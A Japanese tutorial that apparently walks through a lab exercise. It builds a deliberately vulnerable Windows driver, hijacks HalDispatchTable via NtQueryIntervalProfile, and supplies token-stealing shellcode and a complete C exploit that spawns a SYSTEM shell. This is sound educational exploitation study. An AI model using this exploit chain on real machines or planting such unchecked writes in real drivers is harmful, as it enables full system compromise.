Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる

Windowsにおいて、任意アドレス書き換え(arbitrary address write)の脆弱性があるデバイスドライバを作り、この脆弱性を利用した権限昇格をやってみる。

環境

Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015

>systeminfo
OS Name:                   Microsoft Windows 8.1 Enterprise Evaluation
OS Version:                6.3.9600 N/A Build 9600
OS Build Type:             Multiprocessor Free
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz

>ml
Microsoft (R) Macro Assembler Version 14.00.23026.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0

脆弱性のあるデバイスドライバを書いてみる

まず、「Windowsで簡単なデバイスドライバを書いてみる」と同様の手順で、脆弱性のあるデバイスドライバを書いてみる。

/* vulndriver.c */
#include <wdm.h>
#include <windef.h>
#pragma warning(disable: 4100)

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH handleUnsupported;
DRIVER_DISPATCH handleIOCTL;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING DeviceName, DosDeviceName;
    PDEVICE_OBJECT DeviceObject;

    RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");

    IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    IoCreateSymbolicLink(&DosDeviceName, &DeviceName);

    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = handleUnsupported;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING DosDeviceName;
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
    IoDeleteSymbolicLink(&DosDeviceName);
    IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
    DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    struct ioctl_aaw_arg *arg;

    switch (ioControlCode) {
    case IOCTL_AAW:
        arg = (struct ioctl_aaw_arg *)inputBuffer;
        *(arg->addr) = arg->value;
        break;
    }

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

上のコードは、\\.\Vulnというデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。

プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。

HalDispatchTableの書き換えによるEIP奪取

任意アドレス書き換えを使い書き換える場所として、HalDispatchTableが広く知られている。 カーネルデバッグを用いて、内部APIであるNtQueryIntervalProfile関数の内容を調べてみると、次のようになる。

kd> u nt!NtQueryIntervalProfile
nt!NtQueryIntervalProfile:
81b89ada 6a0c            push    0Ch
81b89adc 686896a381      push    offset nt!RtlpSparseBitmapCtxPrepareRanges+0x52
24 (81a39668)
81b89ae1 e8fa29deff      call    nt!_SEH_prolog4 (8196c4e0)
81b89ae6 64a124010000    mov     eax,dword ptr fs:[00000124h]
81b89aec 8a985a010000    mov     bl,byte ptr [eax+15Ah]
81b89af2 84db            test    bl,bl
81b89af4 741b            je      nt!NtQueryIntervalProfile+0x37 (81b89b11)
81b89af6 8365fc00        and     dword ptr [ebp-4],0
kd> u
(snip)
kd> u
nt!NtQueryIntervalProfile+0x3a:
81b89b14 e833000000      call    nt!KeQueryIntervalProfile (81b89b4c)
81b89b19 8bc8            mov     ecx,eax
81b89b1b 84db            test    bl,bl
81b89b1d 7421            je      nt!NtQueryIntervalProfile+0x66 (81b89b40)
81b89b1f c745fc01000000  mov     dword ptr [ebp-4],1
81b89b26 8b450c          mov     eax,dword ptr [ebp+0Ch]
81b89b29 8908            mov     dword ptr [eax],ecx
81b89b2b c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
81b89b4c 8bff            mov     edi,edi
81b89b4e 55              push    ebp
81b89b4f 8bec            mov     ebp,esp
81b89b51 83ec14          sub     esp,14h
81b89b54 83f901          cmp     ecx,1
81b89b57 7426            je      nt!KeQueryIntervalProfile+0x33 (81b89b7f)
81b89b59 8d45fc          lea     eax,[ebp-4]
81b89b5c 894dec          mov     dword ptr [ebp-14h],ecx
kd> u
nt!KeQueryIntervalProfile+0x13:
81b89b5f 50              push    eax
81b89b60 8d45ec          lea     eax,[ebp-14h]
81b89b63 50              push    eax
81b89b64 6a10            push    10h
81b89b66 6a01            push    1
81b89b68 ff1554bfa481    call    dword ptr [nt!HalDispatchTable+0x4 (81a4bf54)]
81b89b6e 85c0            test    eax,eax
81b89b70 7814            js      nt!KeQueryIntervalProfile+0x3a (81b89b86)
kd> dps nt!HalDispatchTable
81a4bf50  00000004
81a4bf54  8184b29a hal!HaliQuerySystemInformation
81a4bf58  8184b54c hal!HalpSetSystemInformation
81a4bf5c  81bd9cda nt!xHalAllocatePmcCounterSet
81a4bf60  00000000
81a4bf64  8193b33a nt!HalExamineMBR
81a4bf68  81b955d6 nt!IoReadPartitionTable
81a4bf6c  81b883a8 nt!IoSetPartitionInformation
81a4bf70  81c7c2db nt!IoWritePartitionTable
81a4bf74  81963dde nt!xHalHandlerForBus
81a4bf78  8195d91a nt!PpmIdleDefaultCancel
81a4bf7c  8195d91a nt!PpmIdleDefaultCancel
81a4bf80  8184d456 hal!HaliInitPnpDriver
81a4bf84  8184cc78 hal!HaliInitPowerManagement
81a4bf88  8181d19a hal!HaliGetDmaAdapter
81a4bf8c  8184d2e8 hal!HaliGetInterruptTranslator
81a4bf90  81bd9d5a nt!xHalStartMirroring
81a4bf94  8195d8da nt!PoCancelDeviceNotify
81a4bf98  8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt
81a4bf9c  8184d4bc hal!HalpEndOfBoot
81a4bfa0  8195d90c nt!ext_ms_win_ntos_ksigningpolicy_l1_1_0_SeQuerySigningPolicyExt
81a4bfa4  81810648 hal!HalAcpiGetTableDispatch
81a4bfa8  81821f4e hal!HaliSetPciErrorHandlerCallback
81a4bfac  00000000
81a4bfb0  00000001
81a4bfb4  00000002
81a4bfb8  819e1a28 nt!KseDsCallbackHookDriverStartIo
81a4bfbc  00000000
81a4bfc0  00000001
81a4bfc4  00000003
81a4bfc8  819e1a59 nt!KseDsCallbackHookDriverUnload
81a4bfcc  00000000

上の結果から、NtQueryIntervalProfile内でKeQueryIntervalProfileが呼ばれ、この中でnt!HalDispatchTable+0x4にあるhal!HaliQuerySystemInformationのポインタをcallしていることがわかる。 したがって、nt!HalDispatchTable+0x4にあるアドレスを書き換えNtQueryIntervalProfile関数を呼ぶことで、任意のアドレスにジャンプさせることができる。

Visual Studioを起動し、テストコードを書いてみる。 プロジェクトのテンプレートは「Visual C++」→「General」→「Empty Project」を用いればよい。

/* test.c */
#include <windows.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef enum {
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct {
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBaseAddress;
    ULONG ImageSize;
    ULONG Flags;
    WORD Id;
    WORD Rank;
    WORD w018;
    WORD NameOffset;
    BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct {
    ULONG ModulesCount;
    SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

int main()
{
    PSYSTEM_MODULE_INFORMATION moduleInfo;
    ULONG len;
    DWORD BytesReturned;
    ULONG dummy;

    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
    FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile");

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL);
    printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress);

    PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress;

    HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe");
    PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
    HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
    printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable);

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)HalDispatchTable + 4;
    arg.value = 0x41414141;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);

    NtQueryIntervalProfile(2, &dummy);

    return 0;
}

上のコードにあるように、nt!HalDispatchTableのアドレスは次のようにして計算することができる。

  1. NtQuerySystemInformation関数を用い、システムモジュールの情報を取得する
    • 1回目の呼び出しで必要なバッファサイズを取得し、確保したメモリに対して2回目の呼び出しを行う
  2. 取得した情報にあるモジュールリストの0番目のデータから、ntoskrnl.exe(カーネルイメージ)がロードされているカーネルアドレスを取得する
    • シンボルnt!HalDispatchTableはntoskrnl.exeにてエクスポートされている
  3. ユーザ空間でntoskrnl.exeをロードし、nt!HalDispatchTableのあるアドレスを調べる
  4. ユーザ空間におけるntoskrnl.exeのベースアドレスからnt!HalDispatchTableまでのオフセットをカーネルアドレスに加えることで、カーネル内での実際のアドレスを計算する

カーネルデバッグを行った状態で上のコードを実行すると、システムがクラッシュし次のような出力が得られる。

*** Fatal System Error: 0x0000001e
                       (0xC0000005,0x41414141,0x00000008,0x41414141)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 8 9600 x86 compatible target at (Tue Sep 15 21:48:54.344 20
15 (UTC + 9:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
..................
Loading User Symbols
..............
Loading unloaded module list
.......
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck 1E, {c0000005, 41414141, 8, 41414141}

*** WARNING: Unable to verify checksum for test.exe
*** ERROR: Module load completed but symbols could not be loaded for test.exe

Probably caused by : ntkrpamp.exe ( nt!KiFatalExceptionHandler+1a )

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
8196ca14 cc              int     3
kd> 

!analyze -vを用いて、クラッシュの原因を調べると次のようになる。

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

KMODE_EXCEPTION_NOT_HANDLED (1e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 41414141, The address that the exception occurred at
Arg3: 00000008, Parameter 0 of the exception
Arg4: 41414141, Parameter 1 of the exception

Debugging Details:
------------------


WRITE_ADDRESS:  41414141

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx

FAULTING_IP:
+65905f829693d56
41414141 ??              ???

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

BUGCHECK_STR:  0x1E_c0000005_X

DEFAULT_BUCKET_ID:  WIN8_DRIVER_FAULT

PROCESS_NAME:  test.exe

CURRENT_IRQL:  0

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) x86fre

EXCEPTION_RECORD:  afac3b98 -- (.exr 0xffffffffafac3b98)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000008
   Parameter[1]: 41414141
Attempt to execute non-executable address 41414141

TRAP_FRAME:  afac3c74 -- (.trap 0xffffffffafac3c74)
ErrCode = 00000010
eax=afac3cfc ebx=81b98a01 ecx=00000002 edx=81b98ada esi=00a0fcd0 edi=00000002
eip=41414141 esp=afac3ce8 ebp=afac3d10 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
41414141 ??              ???
Resetting default scope

LAST_CONTROL_TRANSFER:  from 819e8f17 to 8196ca14

STACK_TEXT:
afac31e4 819e8f17 00000003 82b6a50f 00000065 nt!RtlpBreakWithStatusInstruction
afac3238 819e8a31 81a7f138 afac3638 afac366c nt!KiBugCheckDebugBreak+0x1f
afac360c 8196b5c6 0000001e c0000005 41414141 nt!KeBugCheck2+0x676
afac3630 8196b4fd 0000001e c0000005 41414141 nt!KiBugCheck2+0xc6
afac3650 819e6bc6 0000001e c0000005 41414141 nt!KeBugCheckEx+0x19
afac366c 819818b2 afac3b98 81a72280 afac3760 nt!KiFatalExceptionHandler+0x1a
afac3690 81981884 afac3b98 81a72280 afac3760 nt!ExecuteHandler2+0x26
afac3750 818fefb9 afac3b98 afac3760 00010037 nt!ExecuteHandler+0x24
afac3b7c 8197d396 afac3b98 00000000 afac3c74 nt!KiDispatchException+0x101
afac3be8 8197fbdb 00000000 00000000 00000000 nt!KiDispatchTrapException+0x4e
afac3be8 41414141 00000000 00000000 00000000 nt!KiTrap0E+0x1a7
WARNING: Frame IP not in any known module. Following frames may be wrong.
afac3ce4 81b98b6e 00000001 00000010 afac3cfc 0x41414141
afac3d10 81b98b19 82b6aa73 00000002 00a0fcd0 nt!KeQueryIntervalProfile+0x22
afac3d44 8197c657 00000002 00a0fe04 00a0fe34 nt!NtQueryIntervalProfile+0x3f
afac3d44 7737d370 00000002 00a0fe04 00a0fe34 nt!KiSystemServicePostCall
00a0fcbc 7737ad4a 008a1965 00000002 00a0fe04 ntdll!KiFastSystemCallRet
00a0fcc0 008a1965 00000002 00a0fe04 008a104b ntdll!NtQueryIntervalProfile+0xa
00a0fe34 008a220e 00000001 00b1d340 00b20790 exploit+0x11965
00a0fe48 008a205a 289a9fe3 008a104b 008a104b exploit+0x1220e
00a0fea0 008a1eed 00a0feb0 008a2228 00a0fec4 exploit+0x1205a
00a0fea8 008a2228 00a0fec4 74f64198 7fe46000 exploit+0x11eed
00a0feb0 74f64198 7fe46000 74f64170 5d14e2df exploit+0x12228
00a0fec4 773632d1 7fe46000 5f510ea9 00000000 KERNEL32!BaseThreadInitThunk+0x24
00a0ff0c 7736329f ffffffff 7738f08b 00000000 ntdll!__RtlUserThreadStart+0x2b
00a0ff1c 00000000 008a104b 7fe46000 00000000 ntdll!_RtlUserThreadStart+0x1b

(snip)

上の結果から、実際に0x41414141にジャンプしクラッシュしていることが確認できる。

Replace Token Shellcode

Windowsでの権限昇格では、プロセスの権限を表すTokenをSystemプロセスからコピーする手法が広く知られている。

カーネルモードではfsセグメントにKPCR構造体が置かれており、この構造体から次のようにしてプロセスリストまでたどることができる。

kd> dg fs
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 81a70000 000047d8 Data RW Ac 0 Bg By P  Nl 00000493
kd> dt _KPCR 81a70000
ntdll!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 Used_ExceptionList : 0xb5af0924 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Used_StackBase   : (null)
   +0x008 MxCsr            : 0x1f80
   +0x00c TssCopy          : 0x8279e000 Void
   +0x010 ContextSwitches  : 0xa9cfc
   +0x014 SetMemberCopy    : 1
   +0x018 Used_Self        : 0x7f08f000 Void
   +0x01c SelfPcr          : 0x81a70000 _KPCR
   +0x020 Prcb             : 0x81a70120 _KPRCB
   +0x024 Irql             : 0x1f ''
   +0x028 IRR              : 0
   +0x02c IrrActive        : 0
   +0x030 IDR              : 0
   +0x034 KdVersionBlock   : 0x81a44dc8 Void
   +0x038 IDT              : 0x80bd4400 _KIDTENTRY
   +0x03c GDT              : 0x80bd4000 _KGDTENTRY
   +0x040 TSS              : 0x8279e000 _KTSS
   +0x044 MajorVersion     : 1
   +0x046 MinorVersion     : 1
   +0x048 SetMember        : 1
   +0x04c StallScaleFactor : 0x8f7
   +0x050 SpareUnused      : 0 ''
   +0x051 Number           : 0 ''
   +0x052 Spare0           : 0 ''
   +0x053 SecondLevelCacheAssociativity : 0 ''
   +0x054 VdmAlert         : 0
   +0x058 KernelReserved   : [14] 0
   +0x090 SecondLevelCacheSize : 0
   +0x094 HalReserved      : [16] 0x1000000
   +0x0d4 InterruptMode    : 0
   +0x0d8 Spare1           : 0 ''
   +0x0dc KernelReserved2  : [17] 0
   +0x120 PrcbData         : _KPRCB
kd> dt _KPRCB 81a70000+120
ntdll!_KPRCB
   +0x000 MinorVersion     : 1
   +0x002 MajorVersion     : 1
   +0x004 CurrentThread    : 0xb88b2740 _KTHREAD
(snip)
kd> dt _KTHREAD 0xb88b2740
ntdll!_KTHREAD
(snip)
   +0x070 ApcState         : _KAPC_STATE
(snip)
kd> dt _KAPC_STATE 0xb88b2740+0x070
ntdll!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0xb88b27b0 - 0xb88b27b0 ]
   +0x010 Process          : 0xb8967280 _KPROCESS
   +0x014 InProgressFlags  : 0 ''
   +0x014 KernelApcInProgress : 0y0
   +0x014 SpecialApcInProgress : 0y0
   +0x015 KernelApcPending : 0 ''
   +0x016 UserApcPending   : 0 ''
kd> dt _EPROCESS 0xb8967280
ntdll!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x0a0 ProcessLock      : _EX_PUSH_LOCK
   +0x0a8 CreateTime       : _LARGE_INTEGER 0x01d0efb7`ca392ea0
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : 0x00000f6c Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0xa63a8d38 - 0xb89b0d38 ]
(snip)
   +0x0ec Token            : _EX_FAST_REF
(snip)
kd> dt _EX_FAST_REF 0xb8967280+0x0ec
ntdll!_EX_FAST_REF
   +0x000 Object           : 0xb5589bfb Void
   +0x000 RefCnt           : 0y011
   +0x000 Value            : 0xb5589bfb

上において、EPROCESS構造体のTokenメンバが指している構造体がそのプロセスの権限を表している。

また、WindowsではPID 4が常にSystemプロセスとなっている。 したがって、プロセスリストをたどり、PID 4のEPROCESS構造体のTokenメンバの値を自身のEPROCESS構造体にコピーすることで、権限昇格を行うことができる。

>tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        184 K
smss.exe                       260 Services                   0        812 K
csrss.exe                      340 Services                   0      2,736 K
wininit.exe                    392 Services                   0      3,024 K
csrss.exe                      400 RDP-Tcp#2                  1     18,624 K
winlogon.exe                   428 RDP-Tcp#2                  1      4,760 K
(snip)

上の結果をもとに、Tokenをコピーするシェルコードを書いてみると次のようになる。

; replacetoken.asm
.386
.model flat, stdcall
.code

start:
    pushad

    assume fs:nothing
    mov eax, fs:[124h]                  ; CurrentThread
    mov eax, [eax+80h]                  ; Process
    add eax, 0b8h                       ; ActiveProcessLinks
    push eax

search_system:
    mov eax, [eax]                      ; Flink
    cmp dword ptr [eax-04h], 4          ; UniqueProcessId
    jne search_system
    mov edx, [eax+34h]                  ; Token
    pop eax

search_process:
    mov eax, [eax]                      ; Flink
    cmp dword ptr [eax-04h], 41414141h  ; UniqueProcessId
    jne search_process
    mov [eax+34h], edx                  ; Token

    popad
    ret

end start

上のコードは関数としてcallされることから、pushad/popad命令によるレジスタの退避とret命令によるリターンを行うようになっている。 また、コピー先のプロセスのPIDは0x41414141と仮置きしてある。 実際にシェルコードを用いる際は、これをGetCurrentProcessId関数で取得したPIDに置き換える。

シェルコードをアセンブルし、C文字列に変換すると次のようになる。

>ml replacetoken.asm /link /subsystem:console

>dumpbin /rawdata replacetoken.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file replacetoken.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: 60 64 A1 24 01 00 00 8B 80 80 00 00 00 05 B8 00  `d¡$..........¸.
  00401010: 00 00 50 8B 00 83 78 FC 04 75 F8 8B 50 34 58 8B  ..P...xü.uø.P4X.
  00401020: 00 81 78 FC 41 41 41 41 75 F5 89 50 34 61 C3     ..xüAAAAuõ.P4aÃ

  Summary

        1000 .text

>dumpbin /rawdata replacetoken.exe | powershell -ex remotesigned -f getsc.ps1
\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3

エクスプロイトコードを書いてみる

ユーザ空間で実行可能メモリを確保した後作成したシェルコードを配置し、カーネルモードからこのアドレスにジャンプさせるエクスプロイトコードを書くと次のようになる。

/* exploit.c */
#include <windows.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

typedef enum {
    SystemModuleInformation = 11
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct {
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBaseAddress;
    ULONG ImageSize;
    ULONG Flags;
    WORD Id;
    WORD Rank;
    WORD w018;
    WORD NameOffset;
    BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct {
    ULONG ModulesCount;
    SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

void replacePattern(char *buffer, int size, DWORD pattern, DWORD value)
{
    for (int i = 0; i < size; i++) {
        if (*(DWORD *)(buffer + i) == pattern) {
            *(DWORD *)(buffer + i) = value;
        }
    }
}

int main()
{
    PSYSTEM_MODULE_INFORMATION moduleInfo;
    ULONG len;
    DWORD BytesReturned;
    ULONG dummy;

    HMODULE ntdll = GetModuleHandle("ntdll");
    FARPROC NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");
    FARPROC NtQueryIntervalProfile = GetProcAddress(ntdll, "NtQueryIntervalProfile");

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
    moduleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(len);
    NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, NULL);
    printf("[+] %s: %p\n", moduleInfo->Modules[0].Name, moduleInfo->Modules[0].ImageBaseAddress);

    PVOID kernelBase = moduleInfo->Modules[0].ImageBaseAddress;

    HMODULE ntoskrnl = LoadLibrary("ntoskrnl.exe");
    PVOID HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
    HalDispatchTable = (CHAR *)HalDispatchTable - (CHAR *)ntoskrnl + (CHAR *)kernelBase;
    printf("[+] nt!HalDispatchTable: %p\n", HalDispatchTable);

    char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3";
    replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId());
    LPVOID rwxMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(rwxMemory, shellcode, sizeof(shellcode));

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)HalDispatchTable + 4;
    arg.value = (DWORD)rwxMemory;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);

    NtQueryIntervalProfile(2, &dummy);

    PVOID KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
    KeGetCurrentThread = (CHAR *)KeGetCurrentThread - (CHAR *)ntoskrnl + (CHAR *)kernelBase;

    arg.value = (DWORD)KeGetCurrentThread;
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
    CloseHandle(hDevice);

    WinExec("cmd", SW_SHOWNORMAL);

    return 0;
}

上のコードでは、NtQueryIntervalProfile関数によりシェルコードを実行させた後、WinExec関数でコマンドプロンプトを起動する。 また、他のプロセスがNtQueryIntervalProfile関数を実行した際にクラッシュしないよう、シェルコードを実行した後は書き換えたアドレスをKeGetCurrentThread関数のアドレスに書き戻している。

エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。

f:id:inaz2:20150915230004p:plain

whoamiコマンドの結果がnt authority\systemとなっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。

関連リンク